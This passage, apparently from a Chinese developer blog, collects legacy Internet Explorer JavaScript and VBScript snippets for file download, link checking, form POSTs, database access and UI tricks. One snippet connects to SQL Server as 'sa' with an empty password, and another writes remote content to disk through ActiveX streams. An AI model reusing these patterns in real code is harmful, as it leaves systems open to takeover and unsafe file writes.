#0000ff">new</SPAN>&nbsp;<SPAN style="COLOR: #ff0000">Array</SPAN>(); <BR>&nbsp;for&nbsp;(<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;i=1;i&lt;arguments.length;i++) <BR>&nbsp;&nbsp;argu[i-1]&nbsp;=&nbsp;arguments[i]; <BR>&nbsp;<SPAN style="COLOR: #0000ff">return</SPAN>&nbsp;<SPAN style="COLOR: #0000ff">this</SPAN>.apply(obj,&nbsp;argu); <BR>};&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </DIV>
<P><BR><FONT size=2><STRONG>//下载文件</STRONG></FONT> </P>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee"><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;DownURL(strRemoteURL,strLocalURL) <BR>{ <BR>&nbsp;try <BR>&nbsp;{ <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;xmlHTTP=<SPAN style="COLOR: #0000ff">new</SPAN>&nbsp;<SPAN style="COLOR: #ff0000">ActiveXObject</SPAN>(<SPAN style="COLOR: #ff00ff">"Microsoft.XMLHTTP"</SPAN>); <BR>&nbsp;&nbsp;xmlHTTP.open(<SPAN style="COLOR: #ff00ff">"Get"</SPAN>,strRemoteURL,<SPAN style="COLOR: #0000ff">false</SPAN>); <BR>&nbsp;&nbsp;xmlHTTP.send(); <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;adodbStream=<SPAN style="COLOR: #0000ff">new</SPAN>&nbsp;<SPAN style="COLOR: #ff0000">ActiveXObject</SPAN>(<SPAN style="COLOR: #ff00ff">"ADODB.Stream"</SPAN>); <BR>&nbsp;&nbsp;adodbStream.Type=1;<SPAN style="COLOR: #008000">//1=adTypeBinary </SPAN><BR>&nbsp;&nbsp;adodbStream.Open(); <BR>&nbsp;&nbsp;adodbStream.write(xmlHTTP.responseBody); <BR>&nbsp;&nbsp;adodbStream.SaveToFile(strLocalURL,2); <BR>&nbsp;&nbsp;adodbStream.Close(); <BR>&nbsp;&nbsp;adodbStream=<SPAN style="COLOR: #0000ff">null</SPAN>; <BR>&nbsp;&nbsp;xmlHTTP=<SPAN style="COLOR: #0000ff">null</SPAN>; <BR>&nbsp;&nbsp; <BR>&nbsp;} <BR>&nbsp;<SPAN style="COLOR: #0000ff">catch</SPAN>(e) <BR>&nbsp;{ <BR>&nbsp;&nbsp;window.confirm(<SPAN style="COLOR: #ff00ff">"下载URL出错!"</SPAN>); <BR>&nbsp;} <BR>&nbsp;<SPAN style="COLOR: #008000">//window.confirm(<SPAN style="COLOR: #ff00ff">"下载完成."</SPAN>); </SPAN><BR>} </DIV>
<P><BR><FONT size=2><STRONG>//检验连接是否有效</STRONG> 
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee"><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;getXML(URL)&nbsp; <BR>{ <BR>&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;xmlhttp&nbsp;=&nbsp;<SPAN style="COLOR: #0000ff">new</SPAN>&nbsp;<SPAN style="COLOR: #ff0000">ActiveXObject</SPAN>(<SPAN style="COLOR: #ff00ff">"microsoft.xmlhttp"</SPAN>); <BR>&nbsp;xmlhttp.Open(<SPAN style="COLOR: #ff00ff">"GET"</SPAN>,URL,&nbsp;<SPAN style="COLOR: #0000ff">false</SPAN>);&nbsp; <BR>&nbsp;try <BR>&nbsp;{&nbsp; <BR>&nbsp;&nbsp;xmlhttp.Send(); <BR>&nbsp;} <BR>&nbsp;<SPAN style="COLOR: #0000ff">catch</SPAN>(e){} <BR>&nbsp;<SPAN style="COLOR: #0000ff">finally</SPAN>&nbsp; <BR>&nbsp;{ <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;result&nbsp;=&nbsp;xmlhttp.responseText; <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>(result)&nbsp; <BR>&nbsp;&nbsp;{ <BR>&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>(xmlhttp.Status==200) <BR>&nbsp;&nbsp;&nbsp;{ <BR>&nbsp;&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">return</SPAN>(<SPAN style="COLOR: #0000ff">true</SPAN>); <BR>&nbsp;&nbsp;&nbsp;} <BR>&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">else</SPAN>&nbsp; <BR>&nbsp;&nbsp;&nbsp;{ <BR>&nbsp;&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">return</SPAN>(<SPAN style="COLOR: #0000ff">false</SPAN>); <BR>&nbsp;&nbsp;&nbsp;} <BR>&nbsp;&nbsp;} <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">else</SPAN>&nbsp; <BR>&nbsp;&nbsp;{ <BR>&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">return</SPAN>(<SPAN style="COLOR: #0000ff">false</SPAN>); <BR>&nbsp;&nbsp;} <BR>&nbsp;} <BR>} </DIV>
<P><FONT size=2><STRONG>//POST代替FORM</STRONG></FONT><FONT size=2> 
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">&lt;SCRIPT&nbsp;language=<SPAN style="COLOR: #ff00ff">"VBScript"</SPAN>&gt; <BR>Function&nbsp;URLEncoding(vstrIn) <BR>&nbsp;&nbsp;&nbsp;&nbsp;strReturn&nbsp;=&nbsp;<SPAN style="COLOR: #ff00ff">""</SPAN> <BR>&nbsp;&nbsp;&nbsp;&nbsp;For&nbsp;i&nbsp;=&nbsp;1&nbsp;To&nbsp;Len(vstrIn) <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ThisChr&nbsp;=&nbsp;Mid(vStrIn,i,1) <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If&nbsp;Abs(Asc(ThisChr))&nbsp;&lt;&nbsp;&HFF&nbsp;Then <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strReturn&nbsp;=&nbsp;strReturn&nbsp;&&nbsp;ThisChr <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Else <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;innerCode&nbsp;=&nbsp;Asc(ThisChr) <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If&nbsp;innerCode&nbsp;&lt;&nbsp;0&nbsp;Then <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;innerCode&nbsp;=&nbsp;innerCode&nbsp;+&nbsp;&H10000 <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End&nbsp;If <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Hight8&nbsp;=&nbsp;(innerCode&nbsp;&nbsp;And&nbsp;&HFF00)\&nbsp;&HFF <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Low8&nbsp;=&nbsp;innerCode&nbsp;And&nbsp;&HFF <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strReturn&nbsp;=&nbsp;strReturn&nbsp;&&nbsp;<SPAN style="COLOR: #ff00ff">"%"</SPAN>&nbsp;&&nbsp;Hex(Hight8)&nbsp;&&nbsp;&nbsp;<SPAN style="COLOR: #ff00ff">"%"</SPAN>&nbsp;&&nbsp;Hex(Low8) <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End&nbsp;If <BR>&nbsp;&nbsp;&nbsp;&nbsp;Next <BR>&nbsp;&nbsp;&nbsp;&nbsp;URLEncoding&nbsp;=&nbsp;strReturn <BR>End&nbsp;Function <BR>Function&nbsp;bytes2BSTR(vIn) <BR>&nbsp;&nbsp;&nbsp;&nbsp;strReturn&nbsp;=&nbsp;<SPAN style="COLOR: #ff00ff">""</SPAN> <BR>&nbsp;&nbsp;&nbsp;&nbsp;For&nbsp;i&nbsp;=&nbsp;1&nbsp;To&nbsp;LenB(vIn) <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ThisCharCode&nbsp;=&nbsp;AscB(MidB(vIn,i,1)) <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If&nbsp;ThisCharCode&nbsp;&lt;&nbsp;&H80&nbsp;Then <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strReturn&nbsp;=&nbsp;strReturn&nbsp;&&nbsp;Chr(ThisCharCode) <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Else <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NextCharCode&nbsp;=&nbsp;AscB(MidB(vIn,i+1,1)) <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strReturn&nbsp;=&nbsp;strReturn&nbsp;&&nbsp;Chr(CLng(ThisCharCode)&nbsp;*&nbsp;&H100&nbsp;+&nbsp;CInt(NextCharCode)) <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;i&nbsp;=&nbsp;i&nbsp;+&nbsp;1 <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End&nbsp;If <BR>&nbsp;&nbsp;&nbsp;&nbsp;Next <BR>&nbsp;&nbsp;&nbsp;&nbsp;bytes2BSTR&nbsp;=&nbsp;strReturn <BR>End&nbsp;Function <BR>dim&nbsp;strA,oReq <BR>strA&nbsp;=&nbsp;URLEncoding(<SPAN style="COLOR: #ff00ff">"submit1=Submit&text1=中文"</SPAN>) <BR>set&nbsp;oReq&nbsp;=&nbsp;CreateObject(<SPAN style="COLOR: #ff00ff">"MSXML2.XMLHTTP"</SPAN>) <BR>oReq.open&nbsp;<SPAN style="COLOR: #ff00ff">"POST"</SPAN>,<SPAN style="COLOR: #ff00ff">"http:<SPAN style="COLOR: #008000">//ServerName/VDir/TstResult.asp"</SPAN>,false </SPAN><BR>oReq.setRequestHeader&nbsp;<SPAN style="COLOR: #ff00ff">"Content-Length"</SPAN>,Len(strA) <BR>oReq.setRequestHeader&nbsp;<SPAN style="COLOR: #ff00ff">"CONTENT-TYPE"</SPAN>,<SPAN style="COLOR: #ff00ff">"application/x-www-form-urlencoded"</SPAN> <BR>oReq.send&nbsp;strA <BR>msgbox&nbsp;bytes2BSTR(oReq.responseBody) <BR>&lt;/SCRIPT&gt; </DIV>
<P>//readyState是xmlhttp返回数据的进度，0=载入中,1=未初始化,2=已载入,3=运行中,4=完成</P></FONT>
<P></P></FONT>
<P></P>
<P><FONT size=2><STRONG>//组件是否安装</STRONG> <BR>isComponentInstalled("{6B053A4B-A7EC-4D3D-4567-B8FF8A1A5739}", "componentID")) </FONT></P>
<P><FONT size=2><STRONG>//检查网页是否存在</STRONG> <BR></FONT></P><FONT size=2>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee"><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;CheckURL(URL) <BR>{ <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;xmlhttp&nbsp;=&nbsp;<SPAN style="COLOR: #0000ff">new</SPAN>&nbsp;<SPAN style="COLOR: #ff0000">ActiveXObject</SPAN>(<SPAN style="COLOR: #ff00ff">"Microsoft.XMLHTTP"</SPAN>); <BR>&nbsp;&nbsp;xmlhttp.Open(<SPAN style="COLOR: #ff00ff">"GET"</SPAN>,URL,&nbsp;<SPAN style="COLOR: #0000ff">false</SPAN>); <BR>&nbsp;&nbsp;try <BR>&nbsp;&nbsp;{&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;xmlhttp.Send();&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;result&nbsp;=&nbsp;xmlhttp.status; <BR>&nbsp;&nbsp;} <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">catch</SPAN>(e)&nbsp;{<SPAN style="COLOR: #0000ff">return</SPAN>(<SPAN style="COLOR: #0000ff">false</SPAN>);&nbsp;} <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>(result==200) <BR>&nbsp;&nbsp;{&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">return</SPAN>&nbsp;<SPAN style="COLOR: #0000ff">true</SPAN>; <BR>&nbsp;&nbsp;} <BR>&nbsp;&nbsp;xmlhttp&nbsp;=&nbsp;<SPAN style="COLOR: #0000ff">null</SPAN>; <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">return</SPAN>&nbsp;<SPAN style="COLOR: #0000ff">false</SPAN>; <BR>} </DIV></FONT>
<P><FONT size=2><STRONG>//连接数据库</STRONG> <BR></FONT></P><FONT size=2>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">&lt;script&nbsp;language=<SPAN style="COLOR: #ff00ff">"javascript"</SPAN>&gt; <BR>&nbsp;&nbsp;<SPAN style="COLOR: #008000">//用&nbsp;JavaScript&nbsp;写服务器端连接数据库的代码示例 </SPAN><BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;conn&nbsp;=&nbsp;<SPAN style="COLOR: #0000ff">new</SPAN>&nbsp;<SPAN style="COLOR: #ff0000">ActiveXObject</SPAN>(<SPAN style="COLOR: #ff00ff">"ADODB.Connection"</SPAN>); <BR>&nbsp;&nbsp;conn.Open(<SPAN style="COLOR: #ff00ff">"Provider=SQLOLEDB.1;&nbsp;Data&nbsp;Source=localhost;&nbsp;User&nbsp;ID=sa;&nbsp;"</SPAN> <BR>&nbsp;&nbsp;&nbsp;&nbsp;+<SPAN style="COLOR: #ff00ff">"Password=;&nbsp;Initial&nbsp;Catalog=pubs"</SPAN>); <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;rs&nbsp;=&nbsp;<SPAN style="COLOR: #0000ff">new</SPAN>&nbsp;<SPAN style="COLOR: #ff0000">ActiveXObject</SPAN>(<SPAN style="COLOR: #ff00ff">"ADODB.Recordset"</SPAN>); <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;sql=<SPAN style="COLOR: #ff00ff">"select&nbsp;*&nbsp;from&nbsp;authors"</SPAN>; <BR>&nbsp;&nbsp;rs.open(sql,&nbsp;conn); <BR>&nbsp;shtml&nbsp;=&nbsp;<SPAN style="COLOR: #ff00ff">"&lt;table&nbsp;width='100%'&nbsp;border=1&gt;"</SPAN>; <BR>&nbsp;shtml&nbsp;+=<SPAN style="COLOR: #ff00ff">"&lt;tr&nbsp;bgcolor='#f4f4f4'&gt;&lt;td&gt;au_id&lt;/td&gt;&lt;td&gt;au_lname&lt;/td&gt;&lt;td&gt;au_fname&lt;/td&gt;&lt;td&gt;phone&lt;/td&gt;&lt;td&gt;address&lt;/td&gt;&lt;td&gt;&nbsp;city&lt;/td&gt;&lt;td&gt;state&lt;/td&gt;&lt;td&gt;zip&lt;/td&gt;&lt;/tr&gt;"</SPAN>; <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">while</SPAN>(!rs.EOF) <BR>&nbsp;&nbsp;{ <BR>&nbsp;shtml&nbsp;+=&nbsp;<SPAN style="COLOR: #ff00ff">"&lt;tr&gt;&lt;td&gt;"</SPAN>&nbsp;+&nbsp;rs(<SPAN style="COLOR: #ff00ff">"au_id"</SPAN>)&nbsp;+&nbsp;<SPAN style="COLOR: #ff00ff">"&lt;/td&gt;&lt;td&gt;"</SPAN>&nbsp;+&nbsp;rs(<SPAN style="COLOR: #ff00ff">"au_lname"</SPAN>)&nbsp;+&nbsp;<SPAN style="COLOR: #ff00ff">"&lt;/td&gt;&lt;td&gt;"</SPAN>&nbsp;+&nbsp;rs(<SPAN style="COLOR: #ff00ff">"au_fname"</SPAN>)&nbsp;+&nbsp;<SPAN style="COLOR: #ff00ff">"&lt;/td&gt;&lt;td&gt;"</SPAN>&nbsp;+&nbsp;rs(<SPAN style="COLOR: #ff00ff">"phone"</SPAN>)&nbsp;+&nbsp;<SPAN style="COLOR: #ff00ff">"&lt;/td&gt;&lt;td&gt;"</SPAN>&nbsp;+&nbsp;rs(<SPAN style="COLOR: #ff00ff">"address"</SPAN>)&nbsp;+&nbsp;<SPAN style="COLOR: #ff00ff">"&lt;/td&gt;&lt;td&gt;"</SPAN>&nbsp;+&nbsp;rs(<SPAN style="COLOR: #ff00ff">"city"</SPAN>)&nbsp;+&nbsp;<SPAN style="COLOR: #ff00ff">"&lt;/td&gt;&lt;td&gt;"</SPAN>&nbsp;+&nbsp;rs(<SPAN style="COLOR: #ff00ff">"state"</SPAN>)&nbsp;+&nbsp;<SPAN style="COLOR: #ff00ff">"&lt;/td&gt;&lt;td&gt;"</SPAN>&nbsp;+&nbsp;rs(<SPAN style="COLOR: #ff00ff">"zip"</SPAN>)&nbsp;+&nbsp;<SPAN style="COLOR: #ff00ff">"&lt;/td&gt;&lt;/tr&gt;"</SPAN>; <BR>&nbsp;rs.moveNext; <BR>&nbsp;&nbsp;} <BR>&nbsp;&nbsp;shtml&nbsp;+=&nbsp;<SPAN style="COLOR: #ff00ff">"&lt;/table&gt;"</SPAN>; <BR>&nbsp;&nbsp;document.write(shtml); <BR>&nbsp;&nbsp;rs.close();&nbsp; <BR>&nbsp;&nbsp;rs&nbsp;=&nbsp;<SPAN style="COLOR: #0000ff">null</SPAN>;&nbsp; <BR>&nbsp;&nbsp;conn.close();&nbsp; <BR>&nbsp;&nbsp;conn&nbsp;=&nbsp;<SPAN style="COLOR: #0000ff">null</SPAN>; <BR>&lt;/script&gt; </DIV>
<P><STRONG>//使用数据岛</STRONG> <BR><FONT size=2>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">&lt;html&gt; <BR>&lt;body&gt; <BR>srno：&lt;input&nbsp;type=text&nbsp;datasrc=#xmldate&nbsp;DataFLD=srno&nbsp;size=<SPAN style="COLOR: #ff00ff">"76"</SPAN>&gt;&lt;BR&gt; <BR>times：&lt;input&nbsp;type=text&nbsp;datasrc=#xmldate&nbsp;DataFLD=times&nbsp;size=<SPAN style="COLOR: #ff00ff">"76"</SPAN>&gt;&lt;BR&gt; <BR>&lt;input&nbsp;id=<SPAN style="COLOR: #ff00ff">"first"</SPAN>&nbsp;TYPE=button&nbsp;value=<SPAN style="COLOR: #ff00ff">"&lt;&lt;　第一条记录"</SPAN>&nbsp;onclick=<SPAN style="COLOR: #ff00ff">"xmldate.recordset.moveFirst()"</SPAN>&gt; <BR>&lt;input&nbsp;id=<SPAN style="COLOR: #ff00ff">"prev"</SPAN>&nbsp;TYPE=button&nbsp;value=<SPAN style="COLOR: #ff00ff">"&lt;上一条记录"</SPAN>&nbsp;onclick=<SPAN style="COLOR: #ff00ff">"xmldate.recordset.movePrevious()"</SPAN>&gt;&nbsp;&nbsp; <BR>&lt;input&nbsp;id=<SPAN style="COLOR: #ff00ff">"next"</SPAN>&nbsp;TYPE=button&nbsp;value=<SPAN style="COLOR: #ff00ff">"下一条记录&gt;"</SPAN>&nbsp;onclick=<SPAN style="COLOR: #ff00ff">"xmldate.recordset.moveNext()"</SPAN>&gt;&nbsp;&nbsp; <BR>&lt;input&nbsp;id=<SPAN style="COLOR: #ff00ff">"last"</SPAN>&nbsp;TYPE=button&nbsp;value=<SPAN style="COLOR: #ff00ff">"最后一条记录&gt;&gt;"</SPAN>&nbsp;onclick=<SPAN style="COLOR: #ff00ff">"xmldate.recordset.moveLast()"</SPAN>&gt;&nbsp;&nbsp;&nbsp; <BR>&lt;input&nbsp;id=<SPAN style="COLOR: #ff00ff">"Add"</SPAN>&nbsp;TYPE=button&nbsp;value=<SPAN style="COLOR: #ff00ff">"添加新记录"</SPAN>&nbsp;onclick=<SPAN style="COLOR: #ff00ff">"xmldate.recordset.addNew()"</SPAN>&gt;&nbsp;&nbsp; <BR><BR>&lt;XML&nbsp;ID=<SPAN style="COLOR: #ff00ff">"xmldate"</SPAN>&gt; <BR>&lt;infolist&gt; <BR>&lt;info&nbsp;&gt;&lt;srno&gt;20041025-01&lt;/srno&gt;&lt;times&gt;<SPAN style="COLOR: #0000ff">null</SPAN>&lt;/times&gt;&lt;/info&gt; <BR>&lt;info&nbsp;&gt;&lt;srno&gt;20041101-09&lt;/srno&gt;&lt;times&gt;2004年10月1日2点22分0秒&lt;/times&gt;&lt;/info&gt; <BR>&lt;/infolist&gt; <BR>&lt;/XML&gt; <BR>&lt;/body&gt; <BR>&lt;/html&gt; </DIV>
<P><STRONG>//获得参数</STRONG><FONT size=2> 
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">&lt;body&gt; <BR>&lt;a&nbsp;href=<SPAN style="COLOR: #ff00ff">"javascript:location.href=location.href&nbsp;+&nbsp;'?a=1&b=2'"</SPAN>&gt;search&lt;/a&gt; <BR>&lt;script&nbsp;language=<SPAN style="COLOR: #ff00ff">"JavaScript"</SPAN>&gt; <BR>&lt;!-- <BR><SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;a&nbsp;=&nbsp;location.search.substr(1); <BR><SPAN style="COLOR: #0000ff">if</SPAN>(a.length&gt;0) <BR>{ <BR>&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;re&nbsp;=&nbsp;/([^&]*?)\=([^&]*)/g <BR>&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;s&nbsp;=&nbsp;a.match(re); <BR>&nbsp;for(<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;i=&nbsp;0;i&lt;s.length;i++) <BR>&nbsp;{ <BR>&nbsp;&nbsp;alert(s[i]); <BR>&nbsp;&nbsp;alert(s[i].split(<SPAN style="COLOR: #ff00ff">"="</SPAN>)[1]); <BR>&nbsp;} <BR>} <BR><SPAN style="COLOR: #008000">//--&gt; </SPAN><BR>&lt;/script&gt; <BR>&lt;/body&gt; </DIV>
<P><STRONG>//可编辑SELECT</STRONG><FONT size=2> 
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">&lt;input&nbsp;type=text&nbsp;name=re_name&nbsp;style=<SPAN style="COLOR: #ff00ff">"width:100px;height:21px;font-size:10pt;"</SPAN>&gt;&lt;span&nbsp;style=<SPAN style="COLOR: #ff00ff">"width:18px;border:0px&nbsp;solid&nbsp;red;"</SPAN>&gt;&lt;select&nbsp;name=<SPAN style="COLOR: #ff00ff">"r00"</SPAN>&nbsp;style=<SPAN style="COLOR: #ff00ff">"margin-left:-100px;width:118px;&nbsp;background-color:#FFEEEE;"</SPAN>&nbsp;onChange=<SPAN style="COLOR: #ff00ff">"document.all.re_name.value=this.value;"</SPAN>&gt; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;option&nbsp;value=<SPAN style="COLOR: #ff00ff">"1"</SPAN>&gt;11111111&lt;option&gt; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;option&nbsp;value=<SPAN style="COLOR: #ff00ff">"2"</SPAN>&gt;222222&lt;/option&gt; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;option&nbsp;value=<SPAN style="COLOR: #ff00ff">"3"</SPAN>&gt;333333&lt;/option&gt; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/select&gt; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/span&gt; </DIV></FONT>
<P></P></FONT>
<P></P></FONT>
<P></P></FONT>
<P><FONT size=2><STRONG>//设置光标位置 <BR></STRONG></FONT></P><FONT size=2>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee"><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;getCaret(textbox) <BR>{ <BR>&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;control&nbsp;=&nbsp;document.activeElement; <BR>&nbsp;textbox.focus(); <BR>&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;rang&nbsp;=&nbsp;document.selection.createRange(); <BR>&nbsp;&nbsp;rang.setEndPoint(<SPAN style="COLOR: #ff00ff">"StartToStart"</SPAN>,textbox.createTextRange()) <BR>&nbsp;control.focus(); <BR>&nbsp;<SPAN style="COLOR: #0000ff">return</SPAN>&nbsp;rang.text.length; <BR>} <BR><SPAN style="COLOR: 